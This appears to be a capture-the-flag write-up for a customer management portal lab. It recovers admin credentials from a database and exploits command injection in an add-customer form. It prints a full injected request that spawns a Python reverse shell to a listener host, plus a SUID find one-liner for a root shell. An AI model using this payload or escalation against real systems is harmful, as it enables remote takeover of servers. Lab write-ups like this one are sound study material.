Challenge

10.1.1.2:5050, a customer management portal with an admin area at /admin/login.

Foothold

The backing database (recovered alongside the other web boxes) held the admin logins:

| id | password      | username |
| 1  | fl4g_n0t_pass | admin    |
| 2  | Spring2025!   | gortega  |

admin / fl4g_n0t_pass logged straight into the admin console. The /admin/add_customer form fed the customer name into a shell command server-side, roughly echo <name> | md5sum | cut -c1-8. An error message leaked the exact construction, confirming the injection point.

Breaking out of the echo with a ; and commenting off the trailing fields gave a reverse shell:

name=Mikel22;export RHOST="10.100.50.48";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")';#&email=mikel@evil.vom&address=evil+street&spend=-10000

Privilege escalation

A SUID find binary was the way up (GTFOBins). find can spawn a shell that keeps the binary’s elevated privileges with -p:

./find . -exec /bin/sh -p \; -quit

That dropped to a root shell to collect the flag.